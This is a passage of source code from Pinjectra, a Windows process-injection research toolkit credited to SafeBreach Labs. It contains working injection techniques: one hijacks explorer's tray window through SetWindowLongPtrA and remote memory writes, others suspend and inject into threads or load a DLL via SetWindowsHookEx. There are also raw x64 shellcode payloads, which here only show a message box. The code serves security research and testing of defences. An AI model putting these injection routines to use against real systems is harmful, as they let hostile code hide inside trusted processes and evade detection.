reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Local Include's 34 | #include "ExecutionTechnique.h" 35 | #include "WritingTechniques.h" 36 | 37 | //////////////////// 38 | // Thread Classes // 39 | //////////////////// 40 | 41 | class CodeViaThreadSuspendInjectAndResume : 42 | public ExecutionTechnique 43 | { 44 | public: 45 | // Constructor & Destructor 46 | CodeViaThreadSuspendInjectAndResume(SimpleMemoryWriter* memwriter) 47 | :m_memwriter(memwriter) {} 48 | 49 | ~CodeViaThreadSuspendInjectAndResume(); 50 | 51 | // Methods 52 | boolean inject(DWORD pid, DWORD tid); 53 | 54 | protected: 55 | // Members 56 | SimpleMemoryWriter* m_memwriter; 57 | 58 | }; 59 | 60 | ////////////////////// 61 | // Complex Variants // 62 | ////////////////////// 63 | 64 | class CodeViaThreadSuspendInjectAndResume_Complex : 65 | public ExecutionTechnique 66 | { 67 | public: 68 | // Constructor & Destructor 69 | CodeViaThreadSuspendInjectAndResume_Complex(ComplexMemoryWriter* memwriter) 70 | :m_memwriter(memwriter) {} 71 | 72 | ~CodeViaThreadSuspendInjectAndResume_Complex(); 73 | 74 | // Methods 75 | boolean inject(DWORD pid, DWORD tid); 76 | 77 | protected: 78 | // Members 79 | ComplexMemoryWriter* m_memwriter; 80 | 81 | }; 82 | 83 | ///////////////////// 84 | // Process Classes // 85 | ///////////////////// 86 | 87 | 88 | class CodeViaThreadSuspendInjectAndResume_ChangeRspChangeRip_Complex : 89 | public ExecutionTechnique 90 | { 91 | public: 92 | // Constructor & Destructor 93 | CodeViaThreadSuspendInjectAndResume_ChangeRspChangeRip_Complex(ComplexMemoryWriter* memwriter) 94 | :m_memwriter(memwriter) {} 95 | 96 | ~CodeViaThreadSuspendInjectAndResume_ChangeRspChangeRip_Complex(); 97 | 98 | // Methods 99 | boolean inject(DWORD pid, DWORD tid); 100 | 101 | protected: 102 | // Members 103 | ComplexMemoryWriter* m_memwriter; 104 | }; 105 | 106 | class CodeViaProcessSuspendInjectAndResume_Complex : 107 | public ExecutionTechnique 108 | { 109 | public: 110 | // Constructor & Destructor 111 | CodeViaProcessSuspendInjectAndResume_Complex(ComplexMemoryWriter* memwriter) 112 | :m_memwriter(memwriter) {} 113 | 114 | ~CodeViaProcessSuspendInjectAndResume_Complex(); 115 | 116 | // Methods 117 | boolean inject(DWORD pid, DWORD tid); 118 | 119 | protected: 120 | // Members 121 | ComplexMemoryWriter* m_memwriter; 122 | }; 123 | -------------------------------------------------------------------------------- /Pinjector/SetWindowLongPtrA.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include "SetWindowLongPtrA.h" 32 | 33 | CodeViaSetWindowLongPtrA::~CodeViaSetWindowLongPtrA() 34 | { 35 | } 36 | 37 | boolean CodeViaSetWindowLongPtrA::inject(DWORD ignored_1, DWORD ignored_2) 38 | { 39 | TStrDWORD64Map metadata; 40 | TARGET_PROCESS target; 41 | PINJECTRA_PACKET* output; 42 | HWND hWindow = FindWindowA("Shell_TrayWnd", NULL); 43 | DWORD process_id; 44 | GetWindowThreadProcessId(hWindow, &process_id); 45 | printf("hWindow=%p, explorer process_id=%d\n", hWindow, process_id); 46 | 47 | DWORD64 old_obj = GetWindowLongPtrA(hWindow, 0); 48 | printf("old_obj=0x%016llx\n", old_obj); 49 | 50 | HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false, process_id); 51 | if (h == NULL) 52 | { 53 | printf("Error in OpenProcess: 0x%x\n", GetLastError()); 54 | return -1; 55 | } 56 | 57 | metadata["GetWindowLongPtrA_RETURN_VALUE"] = old_obj; 58 | 59 | target.process = h; 60 | output = this->m_memwriter->eval_and_write(&target, metadata); 61 | 62 | //CloseHandle(hp); 63 | 64 | //HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false, process_id); 65 | DWORD64 new_obj[2]; 66 | LPVOID target_obj = VirtualAllocEx(h, NULL, sizeof(new_obj), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 67 | new_obj[0] = (DWORD64)target_obj + sizeof(DWORD64); //&(new_obj[1]) 68 | // output->buffer will be equal to VirtualAllocEx return value in the Writer 69 | new_obj[1] = (DWORD64)output->buffer; 70 | WriteProcessMemory(h, target_obj, new_obj, sizeof(new_obj), NULL); 71 | SetWindowLongPtrA(hWindow, 0, (DWORD64)target_obj); 72 | SendNotifyMessageA(hWindow, WM_PAINT, 0, 0); 73 | Sleep(1); 74 | SetWindowLongPtrA(hWindow, 0, old_obj); 75 | } 76 | -------------------------------------------------------------------------------- /Pinjector/SetWindowLongPtrA.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | #include 36 | #include 37 | 38 | // Local Include's 39 | #include "ExecutionTechnique.h" 40 | #include "WritingTechniques.h" 41 | 42 | class CodeViaSetWindowLongPtrA : 43 | public ExecutionTechnique 44 | { 45 | public: 46 | // Constructor & Desturctor 47 | CodeViaSetWindowLongPtrA(ComplexMemoryWriter* memwriter) 48 | :m_memwriter(memwriter) { } 49 | ~CodeViaSetWindowLongPtrA(); 50 | 51 | // Methods 52 | boolean inject(DWORD pid, DWORD tid); 53 | 54 | protected: 55 | // Members 56 | ComplexMemoryWriter* m_memwriter; 57 | }; 58 | -------------------------------------------------------------------------------- /Pinjector/StaticPayloads.c: -------------------------------------------------------------------------------- 1 | /************************************************************************** 2 | * * 3 | * Copyright (c) 2019, SafeBreach * 4 | * All rights reserved. * 5 | * * 6 | * Redistribution and use in source and binary forms, with or without * 7 | * modification, are permitted provided that the following conditions are * 8 | * met: * 9 | * * 10 | * 1. Redistributions of source code must retain the above * 11 | * copyright notice, this list of conditions and the following * 12 | * disclaimer. * 13 | * * 14 | * 2. Redistributions in binary form must reproduce the * 15 | * above copyright notice, this list of conditions and the following * 16 | * disclaimer in the documentation and/or other materials provided with * 17 | * the distribution. * 18 | * * 19 | * 3. Neither the name of the copyright holder * 20 | * nor the names of its contributors may be used to endorse or promote * 21 | * products derived from this software without specific prior written * 22 | * permission. * 23 | * * 24 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * 25 | * AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, * 26 | * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * 27 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * 28 | * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR * 29 | * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * 30 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * 31 | * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * 32 | * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER * 33 | * IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * 34 | * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * 35 | * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * 36 | * * 37 | ***************************************************************************/ 38 | 39 | // AUTHORS: Amit Klein, Itzik Kotler 40 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 41 | 42 | #include "StaticPayloads.h" 43 | 44 | /* 45 | mov rax,0x4444444444444444 46 | push rax 47 | mov rax,0x5555555555555555 48 | push rax 49 | xor rcx,rcx 50 | mov rdx,rsp 51 | mov r8,rsp 52 | add r8,8 53 | xor r9,r9 54 | mov rax,0x3333333333333333 55 | sub rsp,0x28 56 | call rax 57 | add rsp,0x38 58 | mov rax,0xdeadbeef 59 | //ret (C3) 60 | jmp -2 (EB FE) 61 | */ 62 | 63 | char* _gen_payload_1() { 64 | char* payload; 65 | long long marker_text = 0x4444444444444444; 66 | char text[8] = "Hello!"; 67 | long long marker_caption = 0x5555555555555555; 68 | char caption[8] = "World"; 69 | long long marker_func = 0x3333333333333333; 70 | void* func_ptr = MessageBoxA; 71 | 72 | payload = (char*)malloc(PAYLOAD1_SIZE); 73 | 74 | if (payload == NULL) 75 | return NULL; 76 | 77 | memcpy(payload, "\x48\xB8\x44\x44\x44\x44\x44\x44\x44\x44\x50\x48\xB8\x55\x55\x55\x55\x55\x55\x55\x55\x50\x48\x31\xC9\x48\x89\xE2\x49\x89\xE0\x49\x83\xC0\x08\x4D\x31\xC9\x48\xB8\x33\x33\x33\x33\x33\x33\x33\x33\x48\x83\xEC\x28\xFF\xD0\x48\x83\xC4\x38\x48\xB8\xEF\xBE\xAD\xDE\x00\x00\x00\x00\xEB\xFE", PAYLOAD1_SIZE); 78 | memcpy(memmem(payload, PAYLOAD1_SIZE, (char*)& marker_text, 8), text, 8); 79 | memcpy(memmem(payload, PAYLOAD1_SIZE, (char*)& marker_caption, 8), caption, 8); 80 | memcpy(memmem(payload, PAYLOAD1_SIZE, (char*)& marker_func, 8), &func_ptr, 8); 81 | 82 | return payload; 83 | } 84 | 85 | /* 86 | mov rax,0x4444444444444444 87 | push rax 88 | mov rax,0x5555555555555555 89 | push rax 90 | xor rcx,rcx 91 | mov rdx,rsp 92 | mov r8,rsp 93 | add r8,8 94 | xor r9,r9 95 | mov rax,0x3333333333333333 96 | sub rsp,0x28 97 | call rax 98 | add rsp,0x38 99 | mov rax,0xdeadbeef 100 | ret //(C3) 101 | //jmp -2 (EB FE) 102 | */ 103 | 104 | char* _gen_payload_2() 105 | { 106 | char* payload; 107 | long long marker_text = 0x4444444444444444; 108 | char text[8] = "Hello!"; 109 | long long marker_caption = 0x5555555555555555; 110 | char caption[8] = "World"; 111 | long long marker_func = 0x3333333333333333; 112 | void* func_ptr = MessageBoxA; 113 | 114 | payload = (char*)malloc(PAYLOAD2_SIZE); 115 | 116 | if (payload == NULL) 117 | return NULL; 118 | 119 | memcpy(payload, "\x48\xB8\x44\x44\x44\x44\x44\x44\x44\x44\x50\x48\xB8\x55\x55\x55\x55\x55\x55\x55\x55\x50\x48\x31\xC9\x48\x89\xE2\x49\x89\xE0\x49\x83\xC0\x08\x4D\x31\xC9\x48\xB8\x33\x33\x33\x33\x33\x33\x33\x33\x48\x83\xEC\x28\xFF\xD0\x48\x83\xC4\x38\x48\xB8\xEF\xBE\xAD\xDE\x00\x00\x00\x00\xC3", PAYLOAD2_SIZE); 120 | memcpy(memmem(payload, PAYLOAD2_SIZE, (char*)& marker_text, 8), text, 8); 121 | memcpy(memmem(payload, PAYLOAD2_SIZE, (char*)& marker_caption, 8), caption, 8); 122 | memcpy(memmem(payload, PAYLOAD2_SIZE, (char*)& marker_func, 8), &func_ptr, 8); 123 | 124 | return payload; 125 | } 126 | 127 | /* 128 | mov rax,0x4444444444444444 129 | push rax 130 | mov rax,0x5555555555555555 131 | push rax 132 | xor rcx,rcx 133 | mov rdx,rsp 134 | mov r8,rsp 135 | add r8,8 136 | xor r9,r9 137 | mov rax,0x3333333333333333 138 | sub rsp,0x28 // Extra 8 bytes to make sure the stack is 16-byte aligned. 139 | call rax 140 | add rsp,0x38 141 | mov eax,2 // simulate the return of the original object function 142 | mov rbx,0x6666666666666666 // restore the original object pointer into rbx 143 | ret 144 | */ 145 | 146 | char* _gen_payload_3() 147 | { 148 | char* payload; 149 | DWORD64 marker_text = 0x4444444444444444; 150 | char text[8] = "Hello!"; 151 | DWORD64 marker_caption = 0x5555555555555555; 152 | char caption[8] = "World"; 153 | DWORD64 marker_func = 0x3333333333333333; 154 | void* func_ptr = MessageBoxA; 155 | 156 | payload = (char*)malloc(PAYLOAD3_SIZE); 157 | 158 | if (payload == NULL) 159 | return NULL; 160 | 161 | memcpy(payload, "\x48\xB8\x44\x44\x44\x44\x44\x44\x44\x44\x50\x48\xB8\x55\x55\x55\x55\x55\x55\x55\x55\x50\x48\x31\xC9\x48\x89\xE2\x49\x89\xE0\x49\x83\xC0\x08\x4D\x31\xC9\x48\xB8\x33\x33\x33\x33\x33\x33\x33\x33\x48\x83\xEC\x28\xFF\xD0\x48\x83\xC4\x38\xB8\x02\x00\x00\x00\x48\xBB\x66\x66\x66\x66\x66\x66\x66\x66\xC3", PAYLOAD3_SIZE); 162 | memcpy(memmem(payload, PAYLOAD3_SIZE, (char*)& marker_text, 8), text, 8); 163 | memcpy(memmem(payload, PAYLOAD3_SIZE, (char*)& marker_caption, 8), caption, 8); 164 | memcpy(memmem(payload, PAYLOAD3_SIZE, (char*)& marker_func, 8), &func_ptr, 8); 165 | 166 | return payload; 167 | } 168 | -------------------------------------------------------------------------------- /Pinjector/StaticPayloads.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | 36 | // Local Include's 37 | #include "memmem.h" 38 | 39 | // Consts 40 | #ifndef PAYLOAD1_SIZE 41 | #define PAYLOAD1_SIZE 71 42 | #endif 43 | 44 | #ifndef PAYLOAD2_SIZE 45 | #define PAYLOAD2_SIZE 70 46 | #endif 47 | 48 | #ifndef PAYLOAD3_SIZE 49 | #define PAYLOAD3_SIZE 75 50 | #endif 51 | 52 | // Prototypes 53 | char* _gen_payload_1(); 54 | char* _gen_payload_2(); 55 | char* _gen_payload_3(); 56 | -------------------------------------------------------------------------------- /Pinjector/VAE_WPM.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include "VAE_WPM.h" 32 | 33 | VirtualAllocEx_WriteProcessMemory::~VirtualAllocEx_WriteProcessMemory() 34 | { 35 | } 36 | 37 | RUNTIME_MEM_ENTRY* VirtualAllocEx_WriteProcessMemory::writeto(HANDLE process_handle, SIZE_T additional_mem_space) 38 | { 39 | RUNTIME_MEM_ENTRY* ret_entry; 40 | BOOL writeprocmem_res; 41 | LPVOID addr; 42 | 43 | // Allocate 44 | addr = VirtualAllocEx(process_handle, NULL, this->m_nbyte+additional_mem_space, this->m_VirtualAllocEx_flAllocationType, this->m_VirtualAllocEx_flProtect); 45 | 46 | if (addr == NULL) { 47 | std::cerr << "VirtualAllocEx failed, error=" << GetLastError() << std::endl; 48 | return NULL; 49 | } 50 | 51 | writeprocmem_res = WriteProcessMemory(process_handle, addr, this->m_buf, this->m_nbyte, NULL); 52 | 53 | // Fill in 54 | ret_entry = (RUNTIME_MEM_ENTRY*)malloc(sizeof(RUNTIME_MEM_ENTRY)); 55 | 56 | if (ret_entry == NULL) 57 | return NULL; 58 | 59 | ret_entry->thread = NULL; 60 | ret_entry->process = process_handle; 61 | ret_entry->addr = addr; 62 | ret_entry->entry_point = addr; 63 | ret_entry->tot_write = this->m_nbyte; 64 | ret_entry->tot_alloc = this->m_nbyte + additional_mem_space; 65 | 66 | return ret_entry; 67 | } 68 | -------------------------------------------------------------------------------- /Pinjector/VAE_WPM.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | 36 | // Local Include's 37 | #include "WritingTechniques.h" 38 | 39 | class VirtualAllocEx_WriteProcessMemory : 40 | public MutableAdvanceMemoryWriter 41 | { 42 | public: 43 | // Constructor & Destructor 44 | VirtualAllocEx_WriteProcessMemory(void* buf, size_t nbyte, DWORD flAllocationType, DWORD flProtect) : 45 | m_VirtualAllocEx_flAllocationType(flAllocationType), 46 | m_VirtualAllocEx_flProtect(flProtect) 47 | { 48 | // https://stackoverflow.com/questions/18479295/member-initializer-does-not-name-a-non-static-data-member-or-base-class 49 | m_buf = buf; 50 | m_nbyte = nbyte; 51 | } 52 | 53 | ~VirtualAllocEx_WriteProcessMemory(); 54 | 55 | // Methods 56 | RUNTIME_MEM_ENTRY* writeto(HANDLE process_handle, SIZE_T additional_mem_space); 57 | 58 | protected: 59 | // Members 60 | DWORD m_VirtualAllocEx_flAllocationType; 61 | DWORD m_VirtualAllocEx_flProtect; 62 | }; 63 | -------------------------------------------------------------------------------- /Pinjector/WindowsHook.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include 32 | 33 | #include "WindowsHook.h" 34 | 35 | LoadDLLViaWindowsHook::~LoadDLLViaWindowsHook() 36 | { 37 | } 38 | 39 | boolean LoadDLLViaWindowsHook::inject(DWORD pid, DWORD tid) 40 | { 41 | RUNTIME_PROC_ENTRY* result; 42 | 43 | result = this->m_hookprocprovider->provide(); 44 | 45 | HHOOK hook = SetWindowsHookExA(WH_GETMESSAGE, (HOOKPROC)result->proc, result->module, tid); 46 | if (hook == NULL) 47 | { 48 | std::cerr << "SetWindowsHookExA failed, error=" << GetLastError() << std::endl; 49 | return false; 50 | } 51 | 52 | PostThreadMessage(tid, WM_NULL, NULL, NULL); 53 | return true; 54 | } 55 | -------------------------------------------------------------------------------- /Pinjector/WindowsHook.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 